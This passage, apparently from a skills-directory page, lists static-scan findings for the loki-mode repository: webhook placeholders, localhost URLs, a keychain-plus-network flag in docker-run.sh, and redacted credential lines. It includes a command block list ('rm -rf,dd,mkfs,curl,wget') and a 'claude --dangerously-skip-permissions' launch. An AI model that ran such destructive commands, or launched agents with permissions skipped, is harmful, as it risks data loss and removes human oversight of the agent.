    [Credential-related source omitted]
  • Network accessline 159
    1. Go to [Slack Apps](https://api.slack.com/apps)
  • Network accessline 187
    notifications:   enabled: true   slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 188
    enabled: true   slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx"   channels: slack
  • Network accessline 189
    slack_webhook: "https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 226
    notifications:   enabled: true   discord_webhook: "https://discord.com/api/webhooks/xxx/yyy"
  • Network accessline 227
    enabled: true   discord_webhook: "https://discord.com/api/webhooks/xxx/yyy"   channels: discord
  • Network accessline 228
    discord_webhook: "https://discord.com/api/webhooks/xxx/yyy"
  • Network accessline 300
    enabled: true   sound: true   slack_webhook: "https://hooks.slack.com/..."
  • Network accessline 301
    sound: true   slack_webhook: "https://hooks.slack.com/..."   discord_webhook: "https://discord.com/api/webhooks/..."
  • Network accessline 302
    slack_webhook: "https://hooks.slack.com/..."
  • Network accessline 303
    discord_webhook: "https://discord.com/api/webhooks/..."
  • Network accessline 304
    webhook_url: "https://your-server.com/webhook"

wiki/Prometheus-Metrics.md

  • Network accessline 16
    GET http://localhost:57374/metrics
  • Network accessline 130
    # datadog.yaml - OpenMetrics check instances:   - prometheus_url: http://localhost:57374/metrics
  • Network accessline 131
    instances:   - prometheus_url: http://localhost:57374/metrics     namespace: loki
  • Network accessline 132
    - prometheus_url: http://localhost:57374/metrics
  • Network accessline 204
    # Check dashboard is running on expected port curl http://localhost:57374/health
  • Network accessline 205
    curl http://localhost:57374/health

wiki/Providers.md

  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 34
    | Region | Base URL | |--------|----------| | Global | `https://api.minimax.io/anthropic` |
  • Network accessline 35
    |--------|----------| | Global | `https://api.minimax.io/anthropic` | | China | `https://api.minimaxi.com/anthropic` |
  • Network accessline 36
    | Global | `https://api.minimax.io/anthropic` |
  • Network accessline 37
    | China | `https://api.minimaxi.com/anthropic` |
  • Network accessline 40
    export ANTHROPIC_BASE_URL="https://api.minimax.io/anthropic"
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]
  • Network accessline 56
    References: [models](https://platform.minimax.io/docs/guides/models-intro), [API compatibility](https://platform.minimax.io/docs/api-reference/text-anthropic-api).
  • Instruction override signalline 102
    # Launch Claude with autonomous permissions claude --dangerously-skip-permissions
  • Instruction override signalline 103
    claude --dangerously-skip-permissions
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]

wiki/Sandbox-Mode.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 208
    [Credential-related source omitted]
  • Dangerous shell operationline 287
    sudo usermod -aG docker $USER
  • Dangerous shell operationline 290
    sudo loki sandbox start
  • Access to secretsline 332
    [Credential-related source omitted]

wiki/Security.md

  • Network accessline 27
    | **Memory Leak** | Resource cleanup | Fixed a memory leak in the SSE (Server-Sent Events) endpoint where client disconnections were not properly releasing resources | | **Signal Blocking** | Signal handler hardening | Signal handlers (SIGT
  • Network accessline 28
    | **Signal Blocking** | Signal handler hardening | Signal handlers (SIGTERM, SIGINT) are now properly configured to prevent signal blocking during critical shutdown operations | | **Unrestricted CORS** | Configurable origins | CORS is now c
  • Network accessline 29
    | **Unrestricted CORS** | Configurable origins | CORS is now configurable via the `LOKI_DASHBOARD_CORS` environment variable. Default is localhost-only (`http://localhost:57374,http://127.0.0.1:57374`) |
  • Network accessline 42
    export LOKI_DASHBOARD_CORS="https://dashboard.example.com,https://app.example.com"
  • Network accessline 45
    When not set, the default is `http://localhost:57374,http://127.0.0.1:57374` (localhost-only, secure by default).
  • Access to secretsline 59
    [Credential-related source omitted]
  • Network accessline 98
    [Credential-related source omitted]
  • Network accessline 99
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 130
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Network accessline 131
    [Credential-related source omitted]
  • Access to secretsline 131
    [Credential-related source omitted]
  • Network accessline 132
    LOKI_SLACK_WEBHOOK=https://hooks.slack.com/xxx
  • Access to secretsline 136
    [Credential-related source omitted]

wiki/Troubleshooting.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 218
    [Credential-related source omitted]
  • Access to secretsline 311
    [Credential-related source omitted]
  • Network accessline 455
    [Open Issue](https://github.com/asklokesh/loki-mode/issues/new)

wiki/Use-Cases.md

  • Network accessline 3
    > Legacy engine note: this page documents the legacy engine (`loki start`, `LOKI_ENGINE=legacy`), which still ships in 11.124.2 and is being removed. For the current Loki 10 commands (`loki "<task>"`, `loki owner/repo#N`, `loki backlog`, `l
  • Network accessline 49
    # Use the GitHub issue as the spec and start loki issue https://github.com/myorg/myapp/issues/42 --start
  • Network accessline 50
    loki issue https://github.com/myorg/myapp/issues/42 --start
  • Dangerous shell operationline 286
    export LOKI_BLOCKED_COMMANDS="rm -rf,dd,mkfs,curl,wget"
  • Network accessline 299
    # Forward to SIEM curl -X POST https://siem.company.com/api/logs \
  • Network accessline 300
    [Credential-related source omitted]
  • Access to secretsline 300
    [Credential-related source omitted]
  • Access to secretsline 301
    [Credential-related source omitted]
  • Network accessline 312
    export LOKI_SLACK_WEBHOOK="https://hooks.slack.com/services/T00/B00/xxx"
  • Network accessline 327
    export LOKI_DISCORD_WEBHOOK="https://discord.com/api/webhooks/xxx/yyy"
  • Network accessline 336
    export LOKI_WEBHOOK_URL="https://monitoring.company.com/api/events"

wiki/_Sidebar.md

  • Network accessline 46
    [Autonomi](https://www.autonomi.dev/) | [GitHub](https://github.com/asklokesh/loki-mode) | [npm](https://www.npmjs.com/package/loki-mode)

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Combined signals: 1 fact
  • Reads the system keychain, and the same file sends data over the network or runs a command (line 303)autonomy/docker-run.sh:47High confidence
Declared and executed: 5 facts
Signal confidence: 494 facts

and 444 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

asklokesh/loki-mode: #815 on hotskills, 1.1k stars

[![asklokesh/loki-mode on hotskills](https://hotskills.dev/badge/asklokesh-loki-mode.svg)](https://hotskills.dev/skill/asklokesh-loki-mode/)